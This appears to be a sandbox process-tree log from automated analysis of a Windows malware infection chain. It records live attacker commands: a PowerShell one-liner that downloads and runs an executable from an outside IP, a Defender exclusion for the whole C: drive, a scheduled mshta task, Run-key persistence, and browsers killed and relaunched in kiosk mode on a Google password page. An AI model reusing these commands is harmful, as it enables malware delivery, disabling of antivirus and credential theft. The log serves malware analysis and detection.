C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffcd492dcf8,0x7ffcd492dd04,0x7ffcd492dd108⤵PID:2068
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"7⤵
- Uses browser remote debugging
PID:10228 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffcd492dcf8,0x7ffcd492dd04,0x7ffcd492dd108⤵PID:10236
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369150101\EPTwCQd.exe"C:\Users\Admin\AppData\Local\Temp\10369150101\EPTwCQd.exe"5⤵PID:4312
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵PID:3100
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"6⤵PID:5792
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369160101\7IIl2eE.exe"C:\Users\Admin\AppData\Local\Temp\10369160101\7IIl2eE.exe"5⤵PID:5532
-
C:\Windows\SysWOW64\CMD.exe"C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat6⤵PID:1520
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369170101\u75a1_003.exe"C:\Users\Admin\AppData\Local\Temp\10369170101\u75a1_003.exe"5⤵PID:5408
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'6⤵PID:5708
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:'7⤵
- Command and Scripting Interpreter: PowerShell
PID:1568
-
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"6⤵PID:3708
-
C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe"C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""7⤵PID:3108
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Remove-MpPreference -ExclusionPath C:\8⤵PID:7860
-
-
-
C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe"C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""7⤵PID:1832
-
C:\Users\Admin\AppData\Local\Temp\{59040d27-4613-42db-aa42-3222a4869a3d}\38992d1a.exe"C:\Users\Admin\AppData\Local\Temp\{59040d27-4613-42db-aa42-3222a4869a3d}\38992d1a.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot8⤵PID:7984
-
C:\Users\Admin\AppData\Local\Temp\{e20ea9bf-dc5c-479c-ba1b-c10af9617e2d}\b3b7ffa1.exeC:/Users/Admin/AppData/Local/Temp/{e20ea9bf-dc5c-479c-ba1b-c10af9617e2d}/\b3b7ffa1.exe -accepteula -adinsilent -silent -processlevel 2 -postboot9⤵PID:6824
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369180101\4a4368feb6.exe"C:\Users\Admin\AppData\Local\Temp\10369180101\4a4368feb6.exe"5⤵PID:1824
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn 63fHRma1Plm /tr "mshta C:\Users\Admin\AppData\Local\Temp\pElw7ovH8.hta" /sc minute /mo 25 /ru "Admin" /f6⤵PID:1740
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn 63fHRma1Plm /tr "mshta C:\Users\Admin\AppData\Local\Temp\pElw7ovH8.hta" /sc minute /mo 25 /ru "Admin" /f7⤵
- Scheduled Task/Job: Scheduled Task
PID:2444
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\pElw7ovH8.hta6⤵PID:5480
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'6IWQHXQ7VOW9WYWIU5F0JNIRSX0PJ00W.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;7⤵
- Command and Scripting Interpreter: PowerShell
PID:2472 -
C:\Users\Admin\AppData\Local\Temp6IWQHXQ7VOW9WYWIU5F0JNIRSX0PJ00W.EXE"C:\Users\Admin\AppData\Local\Temp6IWQHXQ7VOW9WYWIU5F0JNIRSX0PJ00W.EXE"8⤵PID:4860
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10369190121\am_no.cmd" "5⤵PID:4456
-
C:\Windows\SysWOW64\timeout.exetimeout /t 26⤵
- Delays execution with timeout.exe
PID:5592
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"6⤵PID:960
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"7⤵
- Command and Scripting Interpreter: PowerShell
PID:5900
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"6⤵PID:1672
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"7⤵
- Command and Scripting Interpreter: PowerShell
PID:4056
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369210101\0f60b6deba.exe"C:\Users\Admin\AppData\Local\Temp\10369210101\0f60b6deba.exe"5⤵PID:9276
-
-
C:\Users\Admin\AppData\Local\Temp\10369220101\4a5db38924.exe"C:\Users\Admin\AppData\Local\Temp\10369220101\4a5db38924.exe"5⤵PID:7000
-
-
C:\Users\Admin\AppData\Local\Temp\10369230101\917cfa609c.exe"C:\Users\Admin\AppData\Local\Temp\10369230101\917cfa609c.exe"5⤵PID:12040
-
-
C:\Users\Admin\AppData\Local\Temp\10369240101\88c23760fb.exe"C:\Users\Admin\AppData\Local\Temp\10369240101\88c23760fb.exe"5⤵PID:3976
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe /T6⤵
- Kills process with taskkill
PID:9908
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe /T6⤵
- Kills process with taskkill
PID:9832
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msedge.exe /T6⤵
- Kills process with taskkill
PID:10192
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM opera.exe /T6⤵
- Kills process with taskkill
PID:4384
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM brave.exe /T6⤵
- Kills process with taskkill
PID:10136
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking6⤵PID:10464
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking7⤵PID:10444
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2036 -prefsLen 27100 -prefMapHandle 2040 -prefMapSize 270279 -ipcHandle 2116 -initialChannelId {2e45daac-9688-4b49-9fa6-f00a15d97af1} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu8⤵PID:11356
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2528 -prefsLen 27136 -prefMapHandle 2532 -prefMapSize 270279 -ipcHandle 2548 -initialChannelId {f22b8093-a0dd-4fb8-b595-e892deb8b151} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket8⤵PID:6920
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3912 -prefsLen 25213 -prefMapHandle 3924 -prefMapSize 270279 -jsInitHandle 3928 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3936 -initialChannelId {1e66ff43-9339-496f-95d7-6caea10c03b2} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab8⤵PID:3636
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4140 -prefsLen 27326 -prefMapHandle 4144 -prefMapSize 270279 -ipcHandle 4212 -initialChannelId {312f8deb-d3e3-4363-9a73-0656dfb39561} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd8⤵PID:7444
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3548 -prefsLen 34825 -prefMapHandle 4560 -prefMapSize 270279 -jsInitHandle 1648 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4748 -initialChannelId {ef0b1e01-4376-4d68-91cb-6ec138a8e641} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab8⤵PID:8080
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4484 -prefsLen 35013 -prefMapHandle 5296 -prefMapSize 270279 -ipcHandle 5224 -initialChannelId {19e4cc9c-5a08-478d-a88b-ed40b5df9fe9} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility8⤵PID:8096
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3172 -prefsLen 32900 -prefMapHandle 2768 -prefMapSize 270279 -jsInitHandle 2964 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5432 -initialChannelId {dc1ee8bd-d3b6-426a-a56d-2be7b8846142} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab8⤵PID:6864
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5636 -prefsLen 32952 -prefMapHandle 5640 -prefMapSize 270279 -jsInitHandle 5644 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5652 -initialChannelId {ece6b7d6-4e1b-4eaf-a3b5-f706958c330e} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab8⤵PID:8736
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5292 -prefsLen 32952 -prefMapHandle 5672 -prefMapSize 270279 -jsInitHandle 5680 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5684 -initialChannelId {25076acd-a636-4177-a9a1-a0a859d40346} -parentPid 10444 -crashReporter "\\.\pipe\gecko-crash-server-pipe.10444" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab8⤵PID:8752
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369260101\c7bca732c1.exe"C:\Users\Admin\AppData\Local\Temp\10369260101\c7bca732c1.exe"5⤵PID:11760
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10369260101\c7bca732c1.exe"6⤵PID:3296
-
-
-
C:\Users\Admin\AppData\Local\Temp\10369250101\c147af1c4d.exe"C:\Users\Admin\AppData\Local\Temp\10369250101\c147af1c4d.exe"5⤵PID:3136
-
-
C:\Users\Admin\AppData\Local\Temp\10369270101\6e24ccb31d.exe"C:\Users\Admin\AppData\Local\Temp\10369270101\6e24ccb31d.exe"5⤵PID:7880
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe"C:\Users\Admin\AppData\Local\Temp\10369270101\6e24ccb31d.exe"6⤵PID:5036
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2Y8961.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2Y8961.exe3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3576
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"1⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"2⤵PID:3672
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\"1⤵
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\"2⤵PID:5020
-
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1940
-
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5180
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:716
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4768
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4640 -ip 46401⤵PID:320
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"1⤵PID:2788
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 220 -ip 2201⤵PID:4572
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:4488
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:1884
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}1⤵PID:3196
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}1⤵PID:2056
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe"1⤵PID:5104
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe2⤵PID:5888
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe3⤵PID:320
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe4⤵PID:2740
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe5⤵PID:568
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe6⤵PID:2396
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe7⤵PID:5612
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe8⤵PID:4068
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe9⤵PID:3472
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe10⤵PID:4776
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe11⤵PID:2424
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe12⤵PID:4816
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe13⤵PID:3904
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe14⤵PID:5148
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe15⤵PID:4064
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe16⤵PID:1464
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe17⤵PID:4700
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe18⤵PID:5696
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe19⤵PID:5276
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe20⤵PID:5776
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe21⤵PID:5756
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe22⤵PID:2712
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe23⤵PID:464
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe24⤵PID:564
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe25⤵PID:3524
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe26⤵PID:3688
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe27⤵PID:3136
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe28⤵PID:2356
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe29⤵PID:4816
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe30⤵PID:1352
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe31⤵PID:1172
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe32⤵PID:464
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe33⤵PID:5096
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe34⤵PID:1768
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe35⤵PID:3580
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javaplatform_platform.exe"36⤵
- Modifies registry key
PID:1568
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javaplatform_platform.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe\"'"36⤵
- Command and Scripting Interpreter: PowerShell
PID:3688
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:1940
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe"1⤵PID:6304
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe2⤵PID:7320
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe3⤵PID:7376
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe4⤵PID:7416
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe5⤵PID:7468
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe6⤵PID:7572
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe7⤵PID:7652
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe8⤵PID:7744
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice.exe9⤵PID:7836
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe10⤵PID:7944
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_platform.exe11⤵PID:6352
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe12⤵PID:8168
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe13⤵PID:6356
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe14⤵PID:8252
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe15⤵PID:8336
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe16⤵PID:8432
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe17⤵PID:8516
-
C:\Windows\system32\reg.exereg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE javapluginw.exe"18⤵
- Modifies registry key
PID:8604
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-ItemProperty -Path \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" -Name \"Java Platform SE javapluginw.exe\" -Value '\"C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe\"'"18⤵
- Command and Scripting Interpreter: PowerShell
PID:8688
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe"1⤵PID:6488
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe2⤵PID:9516
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater.exe3⤵PID:9624
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe4⤵PID:9728
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupportw.exe5⤵PID:9812
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe6⤵PID:9920
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe7⤵PID:10204
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe8⤵PID:6644
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe9⤵PID:6736
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe10⤵PID:10336
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe11⤵PID:10420
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe12⤵PID:10516
-
